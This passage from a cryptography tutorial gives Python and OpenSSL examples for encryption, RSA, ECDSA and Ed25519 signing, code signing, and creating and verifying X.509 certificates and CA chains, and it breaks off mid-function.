const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);

let ciphertext = cipher.update('Secret', 'utf8', 'hex');
ciphertext += cipher.final('hex');

// Decrypt
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let plaintext = decipher.update(ciphertext, 'hex', 'utf8');
plaintext += decipher.final('utf8');

Defense: Use strong key (256-bit AES)
Cost: 2^256 operations (infeasible)

Defense: Constant-time operations

Defense: Use cryptographically secure RNG

Current RSA: 2048-bit
Post-quantum: Need other algorithms
AES-256: Still secure against quantum

 AES-256 for symmetric
 RSA-2048/ECC-256 for asymmetric
 DES, MD5, SHA-1 (deprecated)

# Bad: Hardcoded key
key = "supersecret123"

# Good: Load from secure storage
key = os.environ.get('ENCRYPTION_KEY')
# Or use key management service (AWS KMS, HashiCorp Vault)

# Use modes that verify integrity (GCM, authenticated encryption)
# Don't just encrypt without authentication

# Generate new IV for each encryption
iv = os.urandom(16)  # Different each time

Alice: chooses a, sends: g^a mod p
Bob:   chooses b, sends: g^b mod p

Shared secret:
Alice: (g^b)^a mod p = g^ab mod p
Bob:   (g^a)^b mod p = g^ab mod p

1. Client hello
2. Server hello + certificate (contains public key)
3. Client generates pre-master secret, encrypts with public key
4. Both derive session key from pre-master secret
5. Encrypted communication begins

1. Hash the message
   Message → Hash Function → Digest

2. Encrypt digest with private key
   Digest → Private Key → Signature

3. Attach signature to message
   Message + Signature → Signed Document

1. Hash the received message
   Message → Hash Function → Digest₁

2. Decrypt signature with public key
   Signature → Public Key → Digest₂

3. Compare digests
   If Digest₁ == Digest₂ → Valid Signature

SIGNING:
                    Message
                       |
                   Hash (SHA-256)
                       |
                    Digest
                       |
            Encrypt with Private Key
                       |
                   Signature
                       |
            Message + Signature

VERIFICATION:
            Message + Signature
                |           |
                |           |
           Hash (SHA-256)   Decrypt with Public Key
                |           |
             Digest₁     Digest₂
                |           |
                +-----+-----+
                      |
                  Compare
                      |
                Valid/Invalid

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Generate private key
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,  # 2048 or 4096 bits
)

# Generate public key
public_key = private_key.public_key()

# Save private key
pem_private = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)

with open('private_key.pem', 'wb') as f:
    f.write(pem_private)

# Save public key
pem_public = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

with open('public_key.pem', 'wb') as f:
    f.write(pem_public)

# Generate private key (2048-bit RSA)
openssl genrsa -out private_key.pem 2048

# Generate private key with password protection
openssl genrsa -aes256 -out private_key.pem 2048

# Extract public key from private key
openssl rsa -in private_key.pem -pubout -out public_key.pem

# Generate 4096-bit key (more secure)
openssl genrsa -out private_key.pem 4096

# View key details
openssl rsa -in private_key.pem -text -noout

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization

# Load private key
with open('private_key.pem', 'rb') as f:
    private_key = serialization.load_pem_private_key(
        f.read(),
        password=None
    )

# Message to sign
message = b"This is an important document"

# Sign message (RSA-PSS with SHA-256)
signature = private_key.sign(
    message,
    padding.PSS(
        mgf=padding.MGF1(hashes.SHA256()),
        salt_length=padding.PSS.MAX_LENGTH
    ),
    hashes.SHA256()
)

print(f"Signature: {signature.hex()}")
print(f"Signature length: {len(signature)} bytes")

# Save signature
with open('signature.bin', 'wb') as f:
    f.write(signature)

# Sign a file
openssl dgst -sha256 -sign private_key.pem -out signature.bin document.txt

# Sign with different hash algorithms
openssl dgst -sha512 -sign private_key.pem -out signature.bin document.txt

# Create detached signature
openssl dgst -sha256 -sign private_key.pem -out document.sig document.pdf

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization
from cryptography.exceptions import InvalidSignature

# Load public key
with open('public_key.pem', 'rb') as f:
    public_key = serialization.load_pem_public_key(f.read())

# Load signature
with open('signature.bin', 'rb') as f:
    signature = f.read()

# Message to verify
message = b"This is an important document"

# Verify signature
try:
    public_key.verify(
        signature,
        message,
        padding.PSS(
            mgf=padding.MGF1(hashes.SHA256()),
            salt_length=padding.PSS.MAX_LENGTH
        ),
        hashes.SHA256()
    )
    print("✓ Signature is valid!")
except InvalidSignature:
    print("✗ Invalid signature!")

# Complete example
def verify_document(public_key_path, document, signature):
    with open(public_key_path, 'rb') as f:
        public_key = serialization.load_pem_public_key(f.read())

    try:
        public_key.verify(
            signature,
            document,
            padding.PSS(
                mgf=padding.MGF1(hashes.SHA256()),
                salt_length=padding.PSS.MAX_LENGTH
            ),
            hashes.SHA256()
        )
        return True
    except InvalidSignature:
        return False

# Verify signature
openssl dgst -sha256 -verify public_key.pem -signature signature.bin document.txt

# Output:
# Verified OK  (if valid)
# Verification Failure  (if invalid)

# Verify detached signature
openssl dgst -sha256 -verify public_key.pem -signature document.sig document.pdf

from cryptography.hazmat.primitives.asymmetric import padding

# Sign with PKCS#1 v1.5 (not recommended)
signature = private_key.sign(
    message,
    padding.PKCS1v15(),
    hashes.SHA256()
)

# Sign with PSS (Probabilistic Signature Scheme)
signature = private_key.sign(
    message,
    padding.PSS(
        mgf=padding.MGF1(hashes.SHA256()),
        salt_length=padding.PSS.MAX_LENGTH
    ),
    hashes.SHA256()
)

from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization

# Generate private key (P-256 curve)
private_key = ec.generate_private_key(ec.SECP256R1())

# Extract public key
public_key = private_key.public_key()

# Save private key
pem_private = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)

with open('ec_private_key.pem', 'wb') as f:
    f.write(pem_private)

# Save public key
pem_public = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

with open('ec_public_key.pem', 'wb') as f:
    f.write(pem_public)

# Different curves
# P-256 (most common)
key_p256 = ec.generate_private_key(ec.SECP256R1())

# P-384 (higher security)
key_p384 = ec.generate_private_key(ec.SECP384R1())

# P-521 (maximum security)
key_p521 = ec.generate_private_key(ec.SECP521R1())

# secp256k1 (Bitcoin)
key_secp256k1 = ec.generate_private_key(ec.SECP256K1())

# Generate EC private key (P-256)
openssl ecparam -name prime256v1 -genkey -noout -out ec_private_key.pem

# Generate with P-384
openssl ecparam -name secp384r1 -genkey -noout -out ec_private_key.pem

# Generate with P-521
openssl ecparam -name secp521r1 -genkey -noout -out ec_private_key.pem

# Extract public key
openssl ec -in ec_private_key.pem -pubout -out ec_public_key.pem

# View key details
openssl ec -in ec_private_key.pem -text -noout

# List available curves
openssl ecparam -list_curves

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization

# Load private key
with open('ec_private_key.pem', 'rb') as f:
    private_key = serialization.load_pem_private_key(
        f.read(),
        password=None
    )

# Message to sign
message = b"ECDSA signature example"

# Sign message
signature = private_key.sign(
    message,
    ec.ECDSA(hashes.SHA256())
)

print(f"ECDSA Signature: {signature.hex()}")
print(f"Signature length: {len(signature)} bytes")

# For P-256, signature is ~64 bytes (vs ~256 bytes for RSA-2048!)

# Sign with ECDSA
openssl dgst -sha256 -sign ec_private_key.pem -out ecdsa_signature.bin document.txt

# Verify ECDSA signature
openssl dgst -sha256 -verify ec_public_key.pem -signature ecdsa_signature.bin document.txt

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from cryptography.exceptions import InvalidSignature

# Load public key
with open('ec_public_key.pem', 'rb') as f:
    public_key = serialization.load_pem_public_key(f.read())

# Message and signature
message = b"ECDSA signature example"

with open('ecdsa_signature.bin', 'rb') as f:
    signature = f.read()

# Verify signature
try:
    public_key.verify(
        signature,
        message,
        ec.ECDSA(hashes.SHA256())
    )
    print("✓ ECDSA signature is valid!")
except InvalidSignature:
    print("✗ Invalid ECDSA signature!")

from cryptography.hazmat.primitives.asymmetric import ed25519
from cryptography.hazmat.primitives import serialization

# Generate private key
private_key = ed25519.Ed25519PrivateKey.generate()

# Extract public key
public_key = private_key.public_key()

# Save private key
pem_private = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)

with open('ed25519_private_key.pem', 'wb') as f:
    f.write(pem_private)

# Save public key
pem_public = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

with open('ed25519_public_key.pem', 'wb') as f:
    f.write(pem_public)

# Raw bytes format (32 bytes each)
private_bytes = private_key.private_bytes(
    encoding=serialization.Encoding.Raw,
    format=serialization.PrivateFormat.Raw,
    encryption_algorithm=serialization.NoEncryption()
)

public_bytes = public_key.public_bytes(
    encoding=serialization.Encoding.Raw,
    format=serialization.PublicFormat.Raw
)

print(f"Private key: {private_bytes.hex()} ({len(private_bytes)} bytes)")
print(f"Public key: {public_bytes.hex()} ({len(public_bytes)} bytes)")

from cryptography.hazmat.primitives.asymmetric import ed25519

# Generate key
private_key = ed25519.Ed25519PrivateKey.generate()

# Message to sign
message = b"Ed25519 is fast and secure!"

# Sign (deterministic, no hash function needed)
signature = private_key.sign(message)

print(f"Ed25519 Signature: {signature.hex()}")
print(f"Signature length: {len(signature)} bytes")  # Always 64 bytes

# Verify
public_key = private_key.public_key()

try:
    public_key.verify(signature, message)
    print("✓ Signature valid!")
except:
    print("✗ Invalid signature!")

import time
from cryptography.hazmat.primitives.asymmetric import rsa, ec, ed25519
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding

message = b"Performance test message"

# RSA
rsa_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
start = time.time()
for _ in range(1000):
    sig = rsa_key.sign(message, padding.PSS(mgf=padding.MGF1(hashes.SHA256()), 
                       salt_length=padding.PSS.MAX_LENGTH), hashes.SHA256())
rsa_time = time.time() - start

# ECDSA
ec_key = ec.generate_private_key(ec.SECP256R1())
start = time.time()
for _ in range(1000):
    sig = ec_key.sign(message, ec.ECDSA(hashes.SHA256()))
ecdsa_time = time.time() - start

# Ed25519
ed_key = ed25519.Ed25519PrivateKey.generate()
start = time.time()
for _ in range(1000):
    sig = ed_key.sign(message)
ed25519_time = time.time() - start

print(f"RSA-2048:  {rsa_time:.3f}s")
print(f"ECDSA-256: {ecdsa_time:.3f}s")
print(f"Ed25519:   {ed25519_time:.3f}s")

# Typical results:
# RSA-2048:  5.234s  (slowest)
# ECDSA-256: 1.876s  (fast)
# Ed25519:   0.156s  (fastest!)

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
from cryptography.exceptions import InvalidSignature

class DocumentSigner:
    def __init__(self, private_key_path=None, public_key_path=None):
        if private_key_path:
            with open(private_key_path, 'rb') as f:
                self.private_key = serialization.load_pem_private_key(
                    f.read(),
                    password=None
                )

        if public_key_path:
            with open(public_key_path, 'rb') as f:
                self.public_key = serialization.load_pem_public_key(f.read())

    def sign_document(self, document):
        signature = self.private_key.sign(
            document,
            padding.PSS(
                mgf=padding.MGF1(hashes.SHA256()),
                salt_length=padding.PSS.MAX_LENGTH
            ),
            hashes.SHA256()
        )
        return signature

    def verify_document(self, document, signature):
        try:
            self.public_key.verify(
                signature,
                document,
                padding.PSS(
                    mgf=padding.MGF1(hashes.SHA256()),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                hashes.SHA256()
            )
            return True, "Signature is valid"
        except InvalidSignature:
            return False, "Invalid signature - document may be tampered"
        except Exception as e:
            return False, f"Verification error: {str(e)}"

    def sign_file(self, filepath, signature_path):
        with open(filepath, 'rb') as f:
            document = f.read()

        signature = self.sign_document(document)

        with open(signature_path, 'wb') as f:
            f.write(signature)

        return signature

    def verify_file(self, filepath, signature_path):
        with open(filepath, 'rb') as f:
            document = f.read()

        with open(signature_path, 'rb') as f:
            signature = f.read()

        return self.verify_document(document, signature)

# Usage
# Signing
signer = DocumentSigner(private_key_path='private_key.pem')
document = b"Important contract: Alice pays Bob $1000"
signature = signer.sign_document(document)

# Verification
verifier = DocumentSigner(public_key_path='public_key.pem')
is_valid, message = verifier.verify_document(document, signature)
print(f"{message}")

# File signing
signer.sign_file('contract.pdf', 'contract.pdf.sig')
is_valid, message = verifier.verify_file('contract.pdf', 'contract.pdf.sig')
print(f"Contract verification: {message}")

# Sign a Python script
openssl dgst -sha256 -sign private_key.pem -out script.py.sig script.py

# Create a signed package
tar -czf package.tar.gz files/
openssl dgst -sha256 -sign private_key.pem -out package.tar.gz.sig package.tar.gz

# Verification script
#!/bin/bash
FILE=$1
SIG=$2
PUBKEY=$3

openssl dgst -sha256 -verify $PUBKEY -signature $SIG $FILE

if [ $? -eq 0 ]; then
    echo "✓ Signature verified - safe to run"
else
    echo "✗ Invalid signature - DO NOT RUN"
    exit 1
fi

import os
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

class CodeSigner:
    def __init__(self, private_key_path):
        with open(private_key_path, 'rb') as f:
            self.private_key = serialization.load_pem_private_key(
                f.read(),
                password=None
            )

    def sign_file(self, filepath):
        # Read file
        with open(filepath, 'rb') as f:
            code = f.read()

        # Generate signature
        signature = self.private_key.sign(
            code,
            padding.PSS(
                mgf=padding.MGF1(hashes.SHA256()),
                salt_length=padding.PSS.MAX_LENGTH
            ),
            hashes.SHA256()
        )

        # Save signature
        sig_path = filepath + '.sig'
        with open(sig_path, 'wb') as f:
            f.write(signature)

        print(f"✓ Signed: {filepath}")
        print(f"✓ Signature: {sig_path}")

        return signature

class CodeVerifier:
    def __init__(self, public_key_path):
        with open(public_key_path, 'rb') as f:
            self.public_key = serialization.load_pem_public_key(f.read())

    def verify_file(self, filepath):
        sig_path = filepath + '.sig'

        # Read file and signature
        with open(filepath, 'rb') as f:
            code = f.read()

        with open(sig_path, 'rb') as f:
            signature = f.read()

        # Verify
        try:
            self.public_key.verify(
                signature,
                code,
                padding.PSS(
                    mgf=padding.MGF1(hashes.SHA256()),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                hashes.SHA256()
            )
            print(f"✓ Signature valid for {filepath}")
            return True
        except:
            print(f"✗ Invalid signature for {filepath}")
            return False

# Usage
signer = CodeSigner('private_key.pem')
signer.sign_file('important_script.py')

verifier = CodeVerifier('public_key.pem')
if verifier.verify_file('important_script.py'):
    # Safe to execute
    exec(open('important_script.py').read())

# Sign application
codesign -s "Developer ID" MyApp.app

# Verify signature
codesign -v MyApp.app

# Deep verification
codesign -v --deep MyApp.app

# Display signature info
codesign -d -vv MyApp.app

# Sign executable with certificate
signtool sign /f certificate.pfx /p password /t http://timestamp.server.com app.exe

# Verify signature
signtool verify /pa app.exe

RSA:
- Minimum: 2048 bits
- Recommended: 3072 bits
- High security: 4096 bits

ECDSA:
- Minimum: 256 bits (P-256)
- Recommended: 384 bits (P-384)
- High security: 521 bits (P-521)

Ed25519:
- Fixed: 256 bits (equivalent to ~128-bit security)

# GOOD - SHA-256 or better
signature = private_key.sign(message, padding.PSS(...), hashes.SHA256())

# BETTER - SHA-512
signature = private_key.sign(message, padding.PSS(...), hashes.SHA512())

# BAD - SHA-1 (broken!)
signature = private_key.sign(message, padding.PSS(...), hashes.SHA1())

# ECDSA requires good randomness
# Python's cryptography library handles this automatically

# NEVER implement your own random number generator!
# Use os.urandom() or secrets module for any manual crypto
import secrets
random_bytes = secrets.token_bytes(32)

# Encrypt private key with password
from cryptography.hazmat.primitives import serialization

encrypted_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.BestAvailableEncryption(b'strong-password')
)

# Load encrypted key
with open('encrypted_key.pem', 'rb') as f:
    private_key = serialization.load_pem_private_key(
        f.read(),
        password=b'strong-password'
    )

Some signature schemes allow multiple valid signatures for the same message.

Ed25519: NOT malleable (good!)
ECDSA: Can be malleable (use canonical form)
RSA-PSS: Probabilistic (different signatures each time, but all valid)

✓ RSA-PSS (not PKCS#1 v1.5)
✓ ECDSA with P-256 or better
✓ Ed25519 (best choice for new systems)
✗ DSA (obsolete)
✗ RSA with PKCS#1 v1.5 (vulnerable)

- Never commit to version control
- Use hardware security modules (HSM) for critical keys
- Use key management services (AWS KMS, Azure Key Vault)
- Encrypt keys at rest
- Limit access with proper permissions

import json
import time

def create_signed_document(content, private_key):
    metadata = {
        'content': content,
        'timestamp': int(time.time()),
        'signer': 'John Doe',
        'version': '1.0'
    }

    message = json.dumps(metadata, sort_keys=True).encode()
    signature = private_key.sign(message, ...)

    return {
        'metadata': metadata,
        'signature': signature.hex()
    }

# Include timestamp to prevent replay attacks
import time

def sign_with_timestamp(message, private_key):
    timestamp = str(int(time.time()))
    data = f"{timestamp}:{message}".encode()
    signature = private_key.sign(data, ...)

    return {
        'message': message,
        'timestamp': timestamp,
        'signature': signature.hex()
    }

def verify_with_timestamp(signed_data, public_key, max_age=3600):
    timestamp = int(signed_data['timestamp'])
    current = int(time.time())

    # Check if too old
    if current - timestamp > max_age:
        return False, "Signature expired"

    # Verify signature
    data = f"{signed_data['timestamp']}:{signed_data['message']}".encode()
    # ... verify logic

# WRONG - signing hash manually
hash_digest = hashlib.sha256(message).digest()
signature = private_key.sign(hash_digest, ...)  # May not work!

# RIGHT - let library handle hashing
signature = private_key.sign(message, ..., hashes.SHA256())

# WRONG - trusting unsigned data
data = receive_data()
process(data)  # Danger!

# RIGHT - verify signature first
data, signature = receive_data_and_signature()
if verify_signature(data, signature):
    process(data)
else:
    reject()

# WRONG
private_key = "-----BEGIN PRIVATE KEY-----\n..."  # Hardcoded!

# RIGHT
import os
key_path = os.environ.get('PRIVATE_KEY_PATH')
with open(key_path, 'rb') as f:
    private_key = load_key(f.read())

Certificate:
  ├── Version (v3)
  ├── Serial Number (unique identifier)
  ├── Signature Algorithm (SHA-256 with RSA)
  ├── Issuer (who issued the certificate)
  ├── Validity Period
  │   ├── Not Before (start date)
  │   └── Not After (expiration date)
  ├── Subject (who the certificate is for)
  ├── Subject Public Key Info
  │   ├── Algorithm (RSA, ECDSA, etc.)
  │   └── Public Key (actual key data)
  ├── Extensions (v3)
  │   ├── Key Usage
  │   ├── Subject Alternative Names (SANs)
  │   ├── Basic Constraints
  │   └── Authority Key Identifier
  └── Signature (CA's signature)

Subject: CN=example.com, O=Example Inc, C=US
  CN = Common Name (domain or person name)
  O  = Organization
  OU = Organizational Unit
  C  = Country
  ST = State/Province
  L  = Locality/City

Issuer: CN=Let's Encrypt Authority, O=Let's Encrypt, C=US
  (Who signed this certificate)

Validity:
  Not Before: Jan 1 00:00:00 2024 GMT
  Not After:  Apr 1 23:59:59 2024 GMT
  (Certificate valid period)

Public Key Algorithm: RSA 2048-bit
  (Type and size of public key)

Signature Algorithm: SHA-256 with RSA
  (How CA signed the certificate)

┌─────────────────────────────────────┐
│      X.509 Certificate              │
├─────────────────────────────────────┤
│ Version: 3                          │
│ Serial: 04:92:7f:63:ab:02:1e...     │
│                                     │
│ Issuer: CN=Let's Encrypt           │
│ Subject: CN=example.com             │
│                                     │
│ Valid: 2024-01-01 to 2024-04-01    │
│                                     │
│ Public Key: [RSA 2048-bit]         │
│   65537                             │
│   00:b8:7f:4e:91...                │
│                                     │
│ Extensions:                         │
│   - Key Usage: Digital Signature   │
│   - SANs: example.com, *.example.com│
│   - Basic Constraints: CA:FALSE    │
│                                     │
│ Signature Algorithm: sha256RSA     │
│ Signature: [CA's signature]        │
│   3a:7b:8c:9d...                   │
└─────────────────────────────────────┘

# Generate private key and self-signed certificate in one command
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/C=US/ST=California/L=San Francisco/O=Example Inc/CN=example.com"

# Breakdown:
# -x509: Create self-signed certificate
# -newkey rsa:2048: Generate new 2048-bit RSA key
# -keyout: Output private key file
# -out: Output certificate file
# -days: Certificate validity period
# -nodes: Don't encrypt private key
# -subj: Certificate subject information

# View certificate details
openssl x509 -in cert.pem -text -noout

# Generate key and certificate separately
openssl genrsa -out key.pem 2048
openssl req -new -x509 -key key.pem -out cert.pem -days 365 \
  -subj "/CN=example.com"

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtensionOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# Generate private key
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
)

# Create subject and issuer (same for self-signed)
subject = issuer = x509.Name([
    x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
    x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "California"),
    x509.NameAttribute(NameOID.LOCALITY_NAME, "San Francisco"),
    x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Example Inc"),
    x509.NameAttribute(NameOID.COMMON_NAME, "example.com"),
])

# Build certificate
cert = x509.CertificateBuilder().subject_name(
    subject
).issuer_name(
    issuer
).public_key(
    private_key.public_key()
).serial_number(
    x509.random_serial_number()
).not_valid_before(
    datetime.datetime.utcnow()
).not_valid_after(
    datetime.datetime.utcnow() + datetime.timedelta(days=365)
).add_extension(
    x509.SubjectAlternativeName([
        x509.DNSName("example.com"),
        x509.DNSName("www.example.com"),
    ]),
    critical=False,
).sign(private_key, hashes.SHA256())

# Save certificate
with open("cert.pem", "wb") as f:
    f.write(cert.public_bytes(serialization.Encoding.PEM))

# Save private key
with open("key.pem", "wb") as f:
    f.write(private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    ))

print("Certificate created successfully!")

# Generate private key
openssl genrsa -out server.key 2048

# Create CSR
openssl req -new -key server.key -out server.csr \
  -subj "/C=US/ST=CA/L=San Francisco/O=Example Inc/CN=example.com"

# View CSR
openssl req -in server.csr -text -noout

# Create CSR with Subject Alternative Names (using config file)
cat > san.cnf <<-END
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = v3_req

[dn]
C=US
ST=CA
L=San Francisco
O=Example Inc
CN=example.com

[v3_req]
subjectAltName = @alt_names

[alt_names]
DNS.1 = example.com
DNS.2 = www.example.com
DNS.3 = *.example.com
END

openssl req -new -key server.key -out server.csr -config san.cnf

# Verify CSR
openssl req -in server.csr -noout -verify

from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Generate private key
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
)

# Build CSR
csr = x509.CertificateSigningRequestBuilder().subject_name(x509.Name([
    x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
    x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "California"),
    x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Example Inc"),
    x509.NameAttribute(NameOID.COMMON_NAME, "example.com"),
])).add_extension(
    x509.SubjectAlternativeName([
        x509.DNSName("example.com"),
        x509.DNSName("www.example.com"),
        x509.DNSName("*.example.com"),
    ]),
    critical=False,
).sign(private_key, hashes.SHA256())

# Save CSR
with open("server.csr", "wb") as f:
    f.write(csr.public_bytes(serialization.Encoding.PEM))

print("CSR created successfully!")

┌────────────────────────────┐
│      Root CA               │
│   (Self-signed)            │
│   Trust Anchor             │
└─────────────┬──────────────┘
              │
    ┌─────────┴─────────┐
    │                   │
┌───▼──────────┐  ┌────▼───────────┐
│ Intermediate │  │ Intermediate   │
│ CA #1        │  │ CA #2          │
└───┬──────────┘  └────┬───────────┘
    │                  │
┌───▼──────┐     ┌────▼──────┐
│ End-User │     │ End-User  │
│ Cert #1  │     │ Cert #2   │
└──────────┘     └───────────┘

End-user certificate (example.com)
  ↓ Issued by
Intermediate CA certificate
  ↓ Issued by
Root CA certificate (in browser trust store)
  ✓ Trusted

# Generate Root CA private key
openssl genrsa -aes256 -out rootCA.key 4096

# Create Root CA certificate
openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 3650 \
  -out rootCA.crt \
  -subj "/C=US/ST=CA/O=Example Inc/CN=Example Root CA"

# View Root CA certificate
openssl x509 -in rootCA.crt -text -noout

# You have: server.csr (from earlier)
# You have: rootCA.key and rootCA.crt

# Create extensions configuration
echo "
[ v3_req ]
basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment
subjectAltName = @alt_names

[ alt_names ]
DNS.1 = example.com
DNS.2 = www.example.com
DNS.3 = *.example.com
" > server_ext.cnf

# Sign CSR with CA
openssl x509 -req -in server.csr \
  -CA rootCA.crt -CAkey rootCA.key -CAcreateserial \
  -out server.crt -days 365 -sha256 \
  -extfile server_ext.cnf -extensions v3_req

# View signed certificate
openssl x509 -in server.crt -text -noout

# Verify certificate against CA
openssl verify -CAfile rootCA.crt server.crt

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtensionOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

class CertificateAuthority:
    def __init__(self):
        # Generate CA private key
        self.ca_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=4096,
        )

        # Create CA certificate
        subject = issuer = x509.Name([
            x509.NameAttribute(NameOID.COUNTRY_NAME, "US"),
            x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Example Inc"),
            x509.NameAttribute(NameOID.COMMON_NAME, "Example Root CA"),
        ])

        self.ca_cert = x509.CertificateBuilder().subject_name(
            subject
        ).issuer_name(
            issuer
        ).public_key(
            self.ca_key.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow()
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=3650)
        ).add_extension(
            x509.BasicConstraints(ca=True, path_length=None),
            critical=True,
        ).add_extension(
            x509.KeyUsage(
                digital_signature=True,
                key_cert_sign=True,
                crl_sign=True,
                key_encipherment=False,
                content_commitment=False,
                data_encipherment=False,
                key_agreement=False,
                encipher_only=False,
                decipher_only=False,
            ),
            critical=True,
        ).sign(self.ca_key, hashes.SHA256())

    def issue_certificate(self, csr, validity_days=365):
        """Issue a certificate from a CSR"""
        cert = x509.CertificateBuilder().subject_name(
            csr.subject
        ).issuer_name(
            self.ca_cert.subject
        ).public_key(
            csr.public_key()
        ).serial_number(
            x509.random_serial_number()
        ).not_valid_before(
            datetime.datetime.utcnow()
        ).not_valid_after(
            datetime.datetime.utcnow() + datetime.timedelta(days=validity_days)
        ).add_extension(
            x509.BasicConstraints(ca=False, path_length=None),
            critical=True,
        ).add_extension(
            x509.KeyUsage(
                digital_signature=True,
                key_encipherment=True,
                key_cert_sign=False,
                crl_sign=False,
                content_commitment=False,
                data_encipherment=False,
                key_agreement=False,
                encipher_only=False,
                decipher_only=False,
            ),
            critical=True,
        )

        # Copy extensions from CSR
        for extension in csr.extensions:
            cert = cert.add_extension(extension.value, extension.critical)

        # Sign with CA key
        return cert.sign(self.ca_key, hashes.SHA256())

    def save_ca_cert(self, filename):
        with open(filename, "wb") as f:
            f.write(self.ca_cert.public_bytes(serialization.Encoding.PEM))

    def save_ca_key(self, filename, password=None):
        encryption = serialization.NoEncryption()
        if password:
            encryption = serialization.BestAvailableEncryption(password)

        with open(filename, "wb") as f:
            f.write(self.ca_key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.PKCS8,
                encryption_algorithm=encryption
            ))

# Usage
ca = CertificateAuthority()
ca.save_ca_cert("ca.crt")
ca.save_ca_key("ca.key", password=b"secure-password")

# Load and sign a CSR
with open("server.csr", "rb") as f:
    csr = x509.load_pem_x509_csr(f.read())

cert = ca.issue_certificate(csr, validity_days=365)

with open("server.crt", "wb") as f:
    f.write(cert.public_bytes(serialization.Encoding.PEM))

print("Certificate issued successfully!")

┌─────────────────────────────────┐
│  Server Certificate             │
│  Subject: CN=example.com        │
│  Issuer: CN=Intermediate CA     │
│  [Public Key]                   │
│  [Signature by Intermediate]    │
└────────────┬────────────────────┘
             │ Verified by
┌────────────▼────────────────────┐
│  Intermediate Certificate       │
│  Subject: CN=Intermediate CA    │
│  Issuer: CN=Root CA             │
│  [Public Key]                   │
│  [Signature by Root]            │
└────────────┬────────────────────┘
             │ Verified by
┌────────────▼────────────────────┐
│  Root Certificate               │
│  Subject: CN=Root CA            │
│  Issuer: CN=Root CA (self)      │
│  [Public Key]                   │
│  [Self Signature]               │
│  ✓ In Trust Store               │
└─────────────────────────────────┘

# Create chain file (server cert + intermediate cert)
cat server.crt intermediate.crt > fullchain.pem

# Or with root CA (not usually needed)
cat server.crt intermediate.crt rootCA.crt > fullchain.pem

# Verify chain
openssl verify -CAfile rootCA.crt -untrusted intermediate.crt server.crt

# Display certificate chain
openssl s_client -connect example.com:443 -showcerts

from cryptography import x509
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes
from cryptography.exceptions import InvalidSignature

def verify_certificate_chain(cert_chain):
    """
    Verify a certificate chain
    cert_chain: list of certificates [leaf, intermediate, ..., root]
    """
    for i in range(len(cert_chain) - 1):
        cert = cert_chain[i]
        issuer_cert = cert_chain[i + 1]

        # Verify issuer name matches
        if cert.issuer != issuer_cert.subject:
